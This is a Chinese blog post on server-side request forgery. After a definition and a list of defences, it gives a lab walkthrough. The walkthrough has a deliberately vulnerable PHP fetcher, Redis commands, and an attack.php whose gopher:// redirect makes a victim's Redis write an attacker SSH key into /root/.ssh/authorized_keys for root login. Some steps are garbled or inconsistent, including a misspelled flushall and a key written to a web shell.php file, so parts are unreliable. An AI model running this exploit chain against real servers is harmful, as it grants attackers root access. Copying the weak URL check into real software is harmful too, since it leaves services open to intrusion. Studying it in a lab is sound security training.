ssrf实现.SSH未创建写shell

SSRF

定义:

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。

一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

原理:

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。

防御:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

ssrf实现.ssh未创建写shell:

1、环境搭建

需要kali和Ubuntu虚拟机各一台

ubuntu:

test.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <form action="test.php" method="post">
        input url: <input type="text" name="url"><br>
        <input type="submit" value="submit">
 
    </form>
</body>
</html>

test.php:

<?php
        function check_ip($url)         
        {
                $match_res=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
                if(!$match_res)
                {
                        echo 'url fomat erro';
                        exit();
                }
                try
                {
                        $url_parse=parse_url($url);
                }
                catch(Exception $e)
                {
                        echo 'url fomat error';
                        exit();
                }
                $ip=gethostbyname($url_parse['host']);
                echo $ip;
                $ini_ip=ip2long($ip);
                if ($ini_ip>>24==ip2long('127.0.0.0')>>24||$ini_ip==ip2long('服务机公网ip'))
                {
                        echo "ip can not inner ip";
                        exit();
                }
        }
 
        $ch=curl_init();
        $url=$_GET['url'];
        check_ip($url);
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_HEADER,0);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_REDIR_PROTOCOLS,CURLPROTO_GOPHER);  
        curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);                  
        $res=curl_exec($ch);
        curl_close($ch);
        echo $res;
 
?>

2、实施攻击

kali:

执行 ssh-keygen -t rsa 生成攻击机的SSH公钥数据:
cd /root/.ssh
ssh-keygen -t rsa

用SSH公钥数据伪造Redis数据:
Socat -v tcp-listen:1234,fork tcp-connect:localhost:6379 
redis-cli -p 1234 fushall 
 
echo -e "\n\n
ssh-rsaAAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali\n\n" | redis-cli -p 1234 -x set a  
 
redis-cli -p 1234 config set dir /var/www/html/  
 
redis-cli -p 1234 config set dbfilename shell.php   
 
redis-cli -p 1234 save   

在kali下写个attack.php:
<?php
header("Location: gopher://127.0.0.1:6379/_*1%0d%0A%248%0d%0Aflushall%0d%0A*3%0d%0A%243%0d%0Aset%0d%0A%241%0d%0A1%0d%0A%24567%0d%0A%0A%0Assh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAABgQDa1V8TRqynbl7Lx0eOuOB3k7f4o9m0jtj96X7Z5BW3HCUagionxr5FRzV6GHjKzjJYrFf43QsedgnY3UPZEx0oo3QVZhRsacx3/qkSevkZvA+KpBygyH/2/OUIlpXtgWLilkxSy8yWSGc573gtHJhNgdrtaGUahHprCM1RTBqCkC7SeYN07kUhXuDAlZrJKyT3G2jI3LHcz6O4EJF4n2zZlm2IOQupdfEhiZAKs4GX+7SZ/kK1JWlEy/m12cUcQrDzTPFKVM/RQ6h5+gKshq+f5IMtzXuN3m0WZ9vXoHMnsVrGNBdd++7Hd2bHSMLnhjgdH9x8BEner4QR0WgRTMySkRj9Gqoc8QMRJpl8CzNrKEEOAkRScDW26qaAaKW4V44Nuupq2HO0QYWCEvOMGEQYVj2zM66VqZTZHaZhj5Gnkot3vo6/6h1bcTiOlIt7DCIIP1q+2fg3SUL9JsH3denkc/QUrAOoBlvfL3ruvCbTVgW4HM20kH+ltpt5RdKf0s0= root@kali%20root@kali%0A%0A%0A%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%243%0d%0Adir%0d%0A%2411%0d%0A/root/.ssh/%0d%0A*4%0d%0A%246%0d%0Aconfig%0d%0A%243%0d%0Aset%0d%0A%2410%0d%0Adbfilename%0d%0A%2415%0d%0Aauthorized_keys%0d%0A*1%0d%0A%244%0d%0Asave%0d%0A");
?>
在/root/.ssh目录下:
ssh -i id_rsa root@IP地址

最后登录。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值